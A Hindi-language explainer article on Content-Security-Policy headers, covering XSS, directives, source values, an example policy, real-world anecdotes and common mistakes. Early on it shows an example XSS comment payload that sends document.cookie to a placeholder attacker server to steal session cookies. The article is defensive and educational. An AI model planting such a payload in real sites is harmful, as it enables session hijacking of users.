CSP, समझाया गया: आपकी वेबसाइट का पर्सनल सिक्योरिटी गार्ड

एक वाक्य में

Content-Security-Policy (CSP) एक सिक्योरिटी स्टैंडर्ड है, जो एक HTTP हेडर के माध्यम से दिया जाता है। यह ब्राउज़र को बताता है कि कौन से कंटेंट सोर्स (जैसे स्क्रिप्ट्स, इमेज और स्टाइल्स) भरोसेमंद हैं और जिन्हें लोड करने की अनुमति दी जानी चाहिए। असल में, यह मैलिशियस इंजेक्शन के खिलाफ एक बाउंसर की तरह काम करता है।

यह किस समस्या को हल करता है

वेब के शुरुआती, वाइल्ड-वेस्ट दिनों में, सिक्योरिटी के बारे में ज़्यादा सोचा नहीं जाता था। उस दौर में जो सबसे खतरनाक विलेन उभरे, उनमें से एक था क्रॉस-साइट स्क्रिप्टिंग, या XSS। संक्षेप में, XSS एक ऐसा हमला है जिसमें एक बैड एक्टर (bad actor) किसी भरोसेमंद वेबसाइट में अपना खुद का मैलिशियस कोड (आमतौर पर JavaScript) इंजेक्ट करने में कामयाब हो जाता है।

मान लीजिए एक ब्लॉग है जिसमें एक कमेंट सेक्शन है। आप, एक डेवलपर के रूप में, बड़ी सावधानी से साइट बनाते हैं। लेकिन आप कमेंट्स दिखाने के तरीके में एक छोटी सी गलती कर देते हैं। एक अटैकर आता है और "Nice post!" लिखने के बजाय, वह इस तरह का कमेंट सबमिट करता है:

<script>
  // लॉग-इन किए हुए यूजर की सेशन कुकी चुराओ
  fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>

अब, हर दूसरा यूजर जो उस ब्लॉग पोस्ट को देखेगा, उसका ब्राउज़र इस स्क्रिप्ट को चलाएगा। चूंकि स्क्रिप्ट आपके ब्लॉग के डोमेन पर चल रही है, इसलिए उसके पास उन सभी चीजों का एक्सेस होता है जो एक असली स्क्रिप्ट के पास होता है, जैसे यूजर की सेशन कुकीज। अब अटैकर उनके सेशन को हाइजैक कर सकता है और उनकी जगह ले सकता है। सोचकर ही डर लगता है।

सालों तक, एकमात्र बचाव यह था कि हर यूजर इनपुट को बहुत सावधानी से सैनिटाइज किया जाए। इसे "इनपुट वैलिडेशन और आउटपुट एन्कोडिंग" कहा जाता है, और यह आज भी बहुत महत्वपूर्ण है। लेकिन इसे 100% सही, 100% समय पर करना अविश्वसनीय रूप से कठिन है। एक छोटी सी चूक, और आप खतरे में पड़ जाते हैं।

CSP का जन्म "डिफेंस इन डेप्थ" (defense in depth) की जरूरत से हुआ था। इसका आइडिया सरल है: क्या होगा अगर सर्वर ब्राउज़र को बता सके, "हे, मुझे पता है कि मुझे परफेक्ट होना चाहिए, लेकिन अगर कभी मुझसे कोई गलती हो जाए और कोई मैलिशियस स्क्रिप्ट अंदर आ जाए, तो मैं चाहता हूं कि तुम मेरे लिए कुछ नियम लागू करो। केवल उन स्क्रिप्ट्स को चलाओ जो मेरे अपने डोमेन, my-app.com, और Google Analytics से आती हैं। अगर तुम्हें किसी और सोर्स से कोई स्क्रिप्ट दिखे, तो उसे ब्लॉक कर दो और मुझे इसके बारे में बताओ।"

यही CSP है। यह बचाव की दूसरी परत है जो सीधे यूजर के ब्राउज़र में काम करती है, और ब्राउज़र को एक पैसिव विक्टिम से एक एक्टिव सिक्योरिटी एजेंट बना देती है।

यह अंदर से कैसे काम करता है

CSP कोई जादू नहीं है; यह सिर्फ टेक्स्ट की एक स्ट्रिंग है जो HTTP रिस्पांस हेडर में भेजी जाती है। दो मुख्य हेडर हैं:

• Content-Security-Policy: पॉलिसी को लागू करता है। अगर कोई रिसोर्स पॉलिसी का उल्लंघन करता है, तो उसे ब्लॉक कर दिया जाता है।
• Content-Security-Policy-Report-Only: यह एक "ड्राई रन" मोड है। यह सिर्फ उल्लंघन की रिपोर्ट करता है लेकिन असल में कुछ भी ब्लॉक नहीं करता, जो नई पॉलिसी को टेस्ट करने और लागू करने के लिए एक वरदान (godsend) है ताकि आपकी साइट ब्रेक न हो।

हेडर की वैल्यू डायरेक्टिव्स की एक सीरीज़ होती है, जिनमें से प्रत्येक सेमीकोलन के साथ समाप्त होता है। एक डायरेक्टिव में एक नाम और अनुमत सोर्स की एक लिस्ट होती है।

आम डायरेक्टिव्स

डायरेक्टिव्स को उन कंटेंट की श्रेणियों के रूप में सोचें जिन्हें आप कंट्रोल करना चाहते हैं।

डायरेक्टिव	नियंत्रित करता है...	यह क्या कवर करता है
default-src	फ़ॉलबैक	ज़्यादातर दूसरे -src डायरेक्टिव्स के लिए डिफ़ॉल्ट सोर्स लिस्ट, अगर वे निर्दिष्ट नहीं हैं। इसे पहले सेट करें!
script-src	स्क्रिप्ट्स	JavaScript सोर्सेज, जिसमें script टैग्स, इनलाइन हैंडलर्स (onclick), और बहुत कुछ शामिल हैं। XSS के लिए सबसे बड़ा।
style-src	स्टाइलशीट्स	CSS फाइलें, style टैग्स, और इनलाइन style एट्रिब्यूट्स।
img-src	इमेजेज	<img> टैग्स, फैविकॉन, आदि।
connect-src	कनेक्शंस	fetch(), XMLHttpRequest, WebSocket, आदि के लिए URLs। आपका फ्रंट-एंड किससे बात कर सकता है?
font-src	फॉन्ट्स	@font-face के माध्यम से लोड किए गए वेब फॉन्ट्स।
frame-src	फ्रेम्स	<iframe> और <frame> एलिमेंट्स के लिए सोर्सेज।
report-uri	रिपोर्टिंग	(अब पुराना लेकिन आम) एक URL जहां ब्राउज़र पॉलिसी के उल्लंघन की JSON रिपोर्ट भेजता है।
report-to	रिपोर्टिंग	report-uri का आधुनिक विकल्प, जो Reporting API का उपयोग करता है।

आम सोर्स वैल्यूज

प्रत्येक डायरेक्टिव के लिए, आप निर्दिष्ट करते हैं कि कंटेंट कहां से आ सकता है।

सोर्स	मतलब	उदाहरण
'self'	सेम ओरिजिन (same origin)	डॉक्यूमेंट के समान डोमेन, स्कीम और पोर्ट से कंटेंट की अनुमति देता है।
'none'	कुछ भी नहीं	उस डायरेक्टिव के लिए सभी कंटेंट को ब्लॉक करता है। object-src 'none' एक बहुत अच्छा विचार है।
example.com	एक विशिष्ट होस्ट	example.com से कंटेंट की अनुमति देता है।
*.example.com	वाइल्डकार्ड के साथ होस्ट	example.com के किसी भी सबडोमेन से कंटेंट की अनुमति देता है। सावधानी से प्रयोग करें!
https:	एक स्कीम	HTTPS पर किसी भी सोर्स से कंटेंट की अनुमति देता है।
'unsafe-inline'	इनलाइन कोड	इनलाइन <script> और <style> टैग्स, और style या onclick एट्रिब्यूट्स की अनुमति देता है। हो सके तो इससे बचें!
'unsafe-eval'	डायनामिक कोड	eval() जैसे स्ट्रिंग इवैल्यूएशन फ़ंक्शंस की अनुमति देता है। एक बड़ा सिक्योरिटी रिस्क।
'nonce-...'	एक क्रिप्टोग्राफिक नॉन्स	एक इनलाइन स्क्रिप्ट को अनुमति देता है अगर उसका nonce एट्रिब्यूट हेडर में दिए गए नॉन्स से मेल खाता है। विशिष्ट इनलाइन स्क्रिप्ट को सुरक्षित रूप से उपयोग करने के लिए बढ़िया।
'sha256-...'	एक हैश	एक इनलाइन स्क्रिप्ट या स्टाइल को अनुमति देता है अगर उसका SHA256 हैश हेडर में दिए गए हैश से मेल खाता है।

सब कुछ एक साथ लाना

आइए एक आधुनिक वेब ऐप के लिए एक यथार्थवादी पॉलिसी देखें:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://images.my-app.com;
  connect-src 'self' https://api.my-app.com;
  font-src 'none';
  object-src 'none';
  frame-ancestors 'none';
  report-to csp-endpoint;

आइए इसे तोड़कर समझते हैं:

• default-src 'self': डिफ़ॉल्ट रूप से, केवल हमारे अपने ओरिजिन से रिसोर्सेज को अनुमति दें।
• script-src ...: हम अपने ओरिजिन से, हमारे एनालिटिक्स प्रोवाइडर से, और किसी भी इनलाइन स्क्रिप्ट को अनुमति देते हैं जिसका nonce वैल्यू विशिष्ट हो। सर्वर हर पेज लोड पर एक नया रैंडम नॉन्स जेनरेट करेगा।
• style-src 'self' 'unsafe-inline': हम अपने ओरिजिन से स्टाइलशीट को अनुमति देते हैं। 'unsafe-inline' यह बताता है कि हमारे पास कुछ लेगेसी कोड हो सकता है जो style एट्रिब्यूट्स इंजेक्ट करता है, जो एक आम (हालांकि आदर्श नहीं) स्थिति है।
• img-src ...: इमेजेज हमारे ओरिजिन से, data: URI के रूप में, या हमारे डेडिकेटेड इमेज CDN से आ सकती हैं।
• connect-src ...: हमारा फ्रंट-एंड JavaScript केवल हमारे अपने ओरिजिन और api.my-app.com पर API कॉल कर सकता है।
• font-src 'none', object-src 'none': हम कस्टम फोंट या फ्लैश जैसे प्लगइन्स का उपयोग नहीं करते हैं, इसलिए हम उन्हें पूरी तरह से ब्लॉक कर देते हैं।
• frame-ancestors 'none': यह दूसरी साइटों को हमारी साइट को <iframe> में डालने से रोकता है, जो क्लिकजैकिंग (clickjacking) हमलों को रोकता है।
• report-to csp-endpoint: उल्लंघन की रिपोर्ट csp-endpoint नामक रिपोर्टिंग एंडपॉइंट पर भेजें (जो कहीं और कॉन्फ़िगर किया गया है)।

असल दुनिया की कहानियाँ

ई-कॉमर्स स्किमर

एक मध्यम आकार के ऑनलाइन स्टोर ने कस्टमर सर्विस में मदद के लिए अपनी साइट पर एक थर्ड-पार्टी चैट विजेट जोड़ा। उन्होंने विजेट के डोमेन को अपने script-src डायरेक्टिव में जोड़ा और सोचा कि वे सुरक्षित हैं। उन्हें यह नहीं पता था कि चैट विजेट कंपनी खुद ही ब्रीच हो गई थी, और एक अटैकर ने विजेट की स्क्रिप्ट फाइल को मॉडिफाई कर दिया था। नए, मैलिशियस वर्जन ने चेकआउट पेज से क्रेडिट कार्ड नंबरों को स्क्रैप करना शुरू कर दिया। क्योंकि स्टोर का CSP सोर्स डोमेन पर भरोसा करता था, इसलिए मैलिशियस स्क्रिप्ट हफ्तों तक बिना किसी समस्या के लोड और एक्सेक्यूट होती रही।

सबक: आपका CSP भरोसे की एक चेन है। जब आप किसी थर्ड-पार्टी डोमेन को अनुमति देते हैं, तो आप सिर्फ उस कंपनी पर भरोसा नहीं कर रहे होते हैं; आप उनकी सिक्योरिटी, उनकी डिप्लॉयमेंट पाइपलाइन, और उनकी सभी डिपेंडेंसी पर भरोसा कर रहे होते हैं। सब-रिसोर्स इंटीग्रिटी (Subresource Integrity - SRI) एक और टूल है जो इस विशेष जोखिम को कम करने में मदद कर सकता है।

धीमा रोलआउट

एक बड़ी मीडिया कंपनी अपनी हाई-ट्रैफिक न्यूज साइट पर एक सख्त CSP लागू करना चाहती थी। वे जानते थे कि इसे एक साथ लागू करने से विज्ञापन, वीडियो और अनगिनत अन्य फीचर्स टूट सकते हैं। इसे लाइव करने के बजाय, उन्होंने Content-Security-Policy-Report-Only मोड में एक पॉलिसी डिप्लॉय की। दो हफ्तों तक, उन्होंने सिर्फ डेटा इकट्ठा किया। उनका report-uri एंडपॉइंट प्रति घंटे हजारों रिपोर्ट्स से भर गया। उन्होंने इन रिपोर्ट्स को एक डेटाबेस में डाला और एक डैशबोर्ड बनाया जो सबसे अधिक बार ब्लॉक किए गए रिसोर्सेज और उन पेजों को दिखाता था जिन पर वे ब्लॉक हुए थे। उन्होंने दर्जनों भूले हुए लेगेसी ट्रैकिंग स्क्रिप्ट्स, विज्ञापन नेटवर्क डोमेन और वीडियो प्लेयर डिपेंडेंसी की खोज की। उन्होंने व्यवस्थित रूप से या तो पुराने रिसोर्सेज को हटा दिया या वैध रिसोर्सेज को अपनी पॉलिसी व्हाइटलिस्ट में जोड़ दिया। एक महीने के सुधार के बाद, उन्होंने एनफोर्सिंग मोड पर स्विच कर दिया। कुछ भी नहीं टूटा।

सबक: अंधेरे में तीर न चलाएं। Report-Only मोड को अपने को-पायलट के रूप में उपयोग करें। यह आपको वास्तविक यूजर ट्रैफिक के आधार पर एक परफेक्ट, रियल-वर्ल्ड पॉलिसी बनाने देता है, जो एक डरावने सिक्योरिटी टास्क को एक मैनेज किए जा सकने वाले डेटा एनालिसिस प्रॉब्लम में बदल देता है।

ब्राउज़र एक्सटेंशन का खतरा

एक फाइनेंशियल कंपनी के एक कर्मचारी ने एक लोकप्रिय ब्राउज़र एक्सटेंशन का उपयोग किया जो वेब पेजों को अपनी CSS और JavaScript इंजेक्ट करके "सुंदर" बनाता था। ज़्यादातर साइटों पर यह हानिरहित था। लेकिन जब उन्होंने अपने इंटरनल कॉर्पोरेट फाइनेंस पोर्टल में लॉग इन किया, तो साइट ठीक से काम नहीं कर रही थी। भ्रमित होकर, उन्होंने आईटी को फोन किया। एक डेवलपर ने ब्राउज़र के कंसोल को देखा और CSP उल्लंघन की त्रुटियों की एक धारा देखी: पोर्टल एक्सटENSION की स्क्रिप्ट और स्टाइल को इंजेक्ट होने से रोक रहा था। पोर्टल के सख्त CSP, जिसने केवल 'self' से स्क्रिप्ट और स्टाइल की अनुमति दी थी, ने एक्सटेंशन के कोड को एक अनट्रस्टेड, बाहरी रिसोर्स के रूप में सही ढंग से पहचाना और उसे ब्लॉक कर दिया। इसने एक नेक इरादे वाले लेकिन आक्रामक एक्सटेंशन से संभावित डेटा लीक को रोक दिया।

सबक: एक मजबूत CSP आपके यूजर्स को न केवल आपके संभावित बग्स से बचाता है, बल्कि उनके अपने ब्राउज़र एनवायरनमेंट के खतरों से भी बचाता है, जैसे कि मैलिशियस या अत्यधिक अनुमतियां लेने वाले एक्सटेंशन।

आम गलतियाँ और जाल

• 'unsafe-inline' पर भरोसा करना। यह सबसे आम जाल है। डेवलपर्स को पुराने onclick इवेंट हैंडलर या इनलाइन <script> टैग्स के साथ समस्याएं आती हैं और वे एक त्वरित समाधान के रूप में 'unsafe-inline' का सहारा लेते हैं। यह XSS हमलों के लिए एक बहुत बड़ा रास्ता फिर से खोल देता है। बेहतर तरीका यह है कि कोड को addEventListener का उपयोग करने के लिए रिफैक्टर किया जाए या, यदि आपको इनलाइन स्क्रिप्ट की बिल्कुल आवश्यकता है, तो उसे विशेष रूप से व्हाइटलिस्ट करने के लिए नॉन्स या हैश का उपयोग करें।
• default-src को भूल जाना। यदि आप केवल script-src और style-src सेट करते हैं, तो आप अन्य वेक्टर्स को खुला छोड़ देते हैं। <object> टैग्स के बारे में क्या? या वर्कर्स? हमेशा एक सख्त default-src 'self' या default-src 'none' से शुरू करें और प्रति-डायरेक्टिव आधार पर केवल वही खोलें जिसकी आपको आवश्यकता है।
• रिपोर्टिंग सेट अप करना लेकिन उसे कभी न देखना। एक report-uri जो एक डेड एंड की ओर इशारा करता है, बेकार है। उल्लंघन की रिपोर्ट आपकी शुरुआती चेतावनी प्रणाली है। वे आपको जंगल में एक नए XSS हमले के बारे में सचेत कर सकते हैं या बता सकते हैं कि हालिया डिप्लॉयमेंट ने यूजर्स के एक सबसेट के लिए एक वैध फीचर को तोड़ दिया है। आपके पास इन रिपोर्टों को ग्रहण करने, एकत्र करने और समीक्षा करने की एक प्रक्रिया होनी चाहिए।
• अत्यधिक ढीले वाइल्डकार्ड्स का उपयोग करना। script-src https://*.some-cdn.com का उपयोग करना आकर्षक है, लेकिन यह एक अटैकर को https://malicious-user-account.some-cdn.com से एक स्क्रिप्ट लोड करने की अनुमति दे सकता है। अपने होस्टनेम के साथ जितना हो सके उतना विशिष्ट रहें।
• frame-ancestors को अनदेखा करना। XSS पर सारा ध्यान जाता है, लेकिन क्लिकजैकिंग एक और वास्तविक खतरा है। एक अटैकर आपकी साइट को अपनी मैलिशियस साइट पर एक ट्रांसपेरेंट <iframe> में लोड कर सकता है और यूजर्स को आपकी साइट पर बटन क्लिक करने के लिए धोखा दे सकता है। frame-ancestors 'none' या frame-ancestors 'self' एक सरल और शक्तिशाली बचाव है जिसे अक्सर भुला दिया जाता है।

यह आपके रडार पर क्यों होना चाहिए

आपको CSP के बारे में सोचना चाहिए अगर आप...

• कोई भी वेब एप्लिकेशन बनाते हैं जो यूजर लॉगिन, व्यक्तिगत डेटा, या भुगतान जानकारी को संभालता है।
• यूजर्स द्वारा सबमिट किए गए किसी भी कंटेंट को प्रदर्शित करते हैं (कमेंट्स, प्रोफाइल, फोरम पोस्ट)।
• एनालिटिक्स, विज्ञापन, सपोर्ट विजेट्स, या टैग मैनेजर्स जैसे कई थर्ड-पार्टी स्क्रिप्ट्स को इंटीग्रेट करते हैं।
• किसी भी गैर-तुच्छ वेब प्रोजेक्ट के लिए एक मजबूत, आधुनिक, डिफेंस-इन-डेप्थ सिक्योरिटी पोस्चर चाहते हैं।

संक्षेप में, यदि आप 21वीं सदी में एक वेब डेवलपर हैं, तो CSP आपके टूलकिट का एक स्टैंडर्ड हिस्सा होना चाहिए। यह अब अल्ट्रा-पैरानॉयड लोगों के लिए एक विदेशी सुविधा नहीं है; यह फ्रंट-एंड सिक्योरिटी का एक मूलभूत हिस्सा है।

और गहराई में जाएं

• MDN Web Docs: Content Security Policy (CSP) - निश्चित, प्रैक्टिकल गाइड और रेफरेंस।
• W3C Content Security Policy Level 3 - ऑफिशियल स्पेसिफिकेशन। यह थोड़ा मुश्किल है, लेकिन यही सोर्स ऑफ ट्रुथ है।
• Google's Web Fundamentals on CSP - प्रैक्टिकल सलाह के साथ एक शानदार हाई-लेवल परिचय।
• report-uri.com - CSP रिपोर्ट कलेक्शन के लिए एक सर्विस, जिसे सिक्योरिटी एक्सपर्ट स्कॉट हेल्म (Scott Helme) चलाते हैं, जिनका ब्लॉग भी इस विषय पर एक अविश्वसनीय रिसोर्स है।
• OWASP Cheat Sheet: Content Security Policy - ओपन वेब एप्लीकेशन सिक्योरिटी प्रोजेक्ट (OWASP) की ओर से सिक्योरिटी-केंद्रित बेस्ट प्रैक्टिसेस।